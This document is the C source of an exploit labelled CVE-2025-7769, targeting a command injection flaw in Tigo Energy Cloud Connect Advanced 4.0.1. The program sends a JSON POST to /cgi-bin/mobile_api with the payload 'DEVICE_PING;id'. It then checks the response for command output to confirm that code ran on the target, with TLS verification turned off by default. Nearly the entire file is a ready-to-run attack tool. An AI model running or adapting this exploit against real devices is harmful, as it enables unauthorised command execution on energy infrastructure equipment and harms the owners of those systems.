/*
* Title : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
* Author : Byte Reaper
* CVE : CVE-2025-7769
*/
#include
#include
#include
#include "argparse.h"
#include
#include
#include
#define FULL_URL 2500
#define POST_PAYLOAD 5500
const char *baseurl = NULL;
const char *cookies = NULL;
const char *ip = NULL;
const char *caFile = NULL;
int caS = 0;
const char *nameFileC = NULL;
int port = 0;
int uC =0;
int verbose = 0;
void exitSyscall()
{
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] Len is Long ! \e[0m\n");
printf("\e[0;31m[-] Len %d\e[0m\n", len);
exitSyscall();
return 1;
}
else
{
printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
return 0;
}
return 0;
}
void nanoSleep(void)
{
struct timespec ob;
ob.tv_sec = 0;
ob.tv_nsec = 500 * 1000 * 1000;
__asm__ volatile
(
"mov $230, %%rax\n\t"
"mov $1, %%rdi\n\t"
"xor %%rsi, %%rsi\n\t"
"mov %0, %%rdx\n\t"
"xor %%r10, %%r10\n\t"
"syscall\n\t"
:
: "r"(&ob)
: "rax",
"rdi",
"rsi",
"rdx",
"r10",
"memory"
);
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exitSyscall();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
const char *wordInjection[] =
{
//Result ID
"admin",
"root",
"groups=0",
"gid=0",
"uid=1000",
"gid=1000",
"groups=1000",
"bluetooth",
//Result ls
".txt",
".py",
".php",
".sh",
".js",
//Result pwd
"home",
"Documents",
"Desktop",
"Downloads",
"Public",
"Videos",
NULL
};
void postRequest(const char *baseurl, const char *ip, int port)
{
char full[FULL_URL];
CURL *curl = curl_easy_init();
CURLcode res;
if (curl == NULL)
{
printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
printf("\e[0;31m[-] Check Connection ...\e[0m\n" );
const char *googleIp = "142.251.37.46";
printf("\e[0;31m[-] Ping Command (ip = %s)\e[0m\n", googleIp);
const char *cP = "/bin/ping";
const char *av[] = {
"ping",
"-c",
"5",
"google.com",
NULL
};
const char *ep[] =
{
NULL
};
__asm__ volatile
(
"MOV $59, %%rax\n\t"
"MOV %[cmd], %%rdi\n\t"
"MOV %[argv], %%rsi\n\t"
"MOV %[envp], %%rdx\n\t"
"syscall\n\t"
".1:\n\t"
"MOV $0x3C, %%rax\n\t"
"XOR %%rdi, %%rdi\n\t"
"syscall\n\t"
:
: [cmd] "r" (cP),
[argv] "r" (av),
[envp] "r"(ep)
:"rax",
"rdi",
"rsi",
"rdx"
);
}
if (port != 0)
{
goto ipPT;
}
printf("\e[0;31m[-] Port Not Select.\n");
if (ip)
{
unsigned long ipformat ;
ipformat = inet_addr(ip);
if (ipformat == INADDR_NONE || ipformat == -1)
{
printf("\e[0;31m[-] Invalid IP address string.\e[0m\n");
exitSyscall();
}
int lenIp = snprintf(full, sizeof(full),
"http://%s/cgi-bin/mobile_api",
ip);
if (checkLen(lenIp,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] Len FUll URL (IP) Is Long !\e[0m\n");
printf("\e[0;31m[-] Len : %d\n",lenIp);
exitSyscall();
}
goto done;
ipPT:
printf("\e[0;36m[+] PORT : %d\e[0m\n", port);
int lenIpPT = snprintf(full, sizeof(full),
"http://%s:%d/cgi-bin/mobile_api",
ip,
port);
if (checkLen(lenIpPT,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] Len FUll URL (IP And Port) Is Long !\e[0m\n");
printf("\e[0;31m[-] Len : %d\e[0m\n",lenIpPT);
exitSyscall();
}
}
else if (baseurl != NULL)
{
int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl);
if (checkLen(lenUrl,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] Len FUll URL (URL and EndPoint) Is Long !\e[0m\n");
printf("\e[0;31m[-] Len : %d\e[0m\n",lenUrl);
exitSyscall();
}
}
printf("\e[0;36m[+] Final Full URL Format : %s\e[0m\n", full);
printf("\e[0;36m[+] Preparation POST Payload...\e[0m\n");
printf("\e[0;36m[+] Command Payload Injection (cmd = id)\e[0m\n");
char post[POST_PAYLOAD];
snprintf(post,
sizeof(post),
"{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}");
printf("\e[0;34m[+] POST DATA : \n%s\n", post);
struct Mem rS;
rS.buffer = NULL;
rS.len = 0;
done :
if (curl)
{
curl_easy_setopt(curl, CURLOPT_URL, full);
if (uC)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_POST,
1L);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDS,
post);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDSIZE,
(long)strlen(post));
curl_easy_setopt(curl,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&rS);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
nanoSleep();
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
if (caS)
{
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
}
else
{
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
}
if (verbose)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers,
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
headers = curl_slist_append(headers,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
if (ip)
{
char headerHost[150];
int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip);
if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1)
{
printf("\e[0;31m[-] Header Host Is Long Please Check Size IP !\e[0m\n");
printf("\e[0;31m[-] Len : %d\e[0m\n", lenH);
exitSyscall();
}
else
{
printf("\e[0;34m[+] Header Host Create Successfully.\e[0m\n");
if (verbose)
{
printf("\e[0;34m[+] Header Host : %s\e[0m\n",headerHost);
}
headers = curl_slist_append(headers,
headerHost);
}
}
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Connection: keep-alive");
headers = curl_slist_append(headers,
"Upgrade-Insecure-Requests: 1");
headers = curl_slist_append(headers, "Content-Type: application/json");
headers = curl_slist_append(headers,
"Cache-Control: max-age=0");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
res = curl_easy_perform(curl);
curl_slist_free_all(headers);
long hC = 0;
if (res == CURLE_OK)
{
printf("\e[0;36m[+] Request sent successfully\e[0m\n");
if (rS.len != 0)
{
printf("\e[0;32m[+] Response Len : %d\e[0m\n", rS.len);
}
else
{
printf("\e[0;31m[-] Response Len IS (0)\e[0m\n");
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&hC);
printf("\e[0;32m[+] Http Code : %ld\e[0m\n", hC);
if (verbose)
{
if (rS.buffer)
{
printf("\e[0;35m\n======================================== [RESPONSE] ========================================\e[0m\n");
printf("%s\n", rS.buffer);
printf("\e[0;32m[Len] : %zu\e[0m\n", rS.len);
printf("\e[0;35m\n=============================================================================================\e[0m\n");
}
}
if (hC >= 200 && hC < 300)
{
int s = 0;
for (int j = 0; wordInjection[j] != NULL; j++)
{
if (strstr(rS.buffer, wordInjection[j]) != NULL)
{
printf("[+] Word Found : %s\n", wordInjection[j]);
if (rS.buffer != NULL)
{
printf("\e[0;35m ============================================= [RESPONSE] =============================================\e[0m\n");
printf("\n%s\n",rS.buffer);
printf("\e[0;35m ======================================================================================================\e[0m\n");
}
else
{
if (verbose)
{
printf("\e[0;31m[-] Word Not Found : %s\e[0m\n", wordInjection[j]);
}
if (s)
{
printf("\e[0;31m[-] Not found Word Command Injection In Response !\e[0m\n");
}
}
}
}
}
else
{
printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", hC);
}
}
else
{
printf("\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
exitSyscall();
}
}
curl_easy_cleanup(curl);
if (rS.buffer)
{
free(rS.buffer);
rS.buffer = NULL;
rS.len = 0;
}
}
int main(int argc, const char **argv)
{
printf(
"\e[0;31m"
" ░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░█████████ ░█████████ ░██████ ░██████ \n"
" ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n"
" ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░██ ░██ ░██ \n"
" ░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██ ░██ ░███████ ░███████ \n"
" ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n "
" ░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n"
" ░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██ ░██ ░██████ ░██████ \n"
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\e[0;37mByte Reaper\n\e[0m"
);
printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
curl_global_init(CURL_GLOBAL_DEFAULT);
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('u',
"url",
&baseurl,
"Enter Target Url (http://)"),
OPT_STRING('c',
"cookies",
&nameFileC,
"Enter File cookies"),
OPT_STRING('i',
"ip",
&ip,
"Target IP ADDRESS"),
OPT_INTEGER('p',
"port",
&port,
"Target PORT"),
OPT_STRING('a',
"ca",
&caFile,
"CA FILE"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (!baseurl && !ip)
{
printf("\e[0;31m-] Please Enter target Url OR target IP !\e[0m\n");
printf("\e[0;31m[-] Example : ./CVE-2025-7769 -u http:// OR -i \e[0m\n");
exitSyscall();
}
if (nameFileC)
{
uC = 1;
}
if (verbose)
{
verbose = 1;
}
if (!port)
{
port = 0;
}
if (port && baseurl)
{
printf("\e[0;31m[-] Please Enter Base URL !\e[0m\n");
exitSyscall();
}
if (caFile)
{
caS = 1;
}
postRequest(baseurl, ip, port);
curl_global_cleanup();
return 0;
}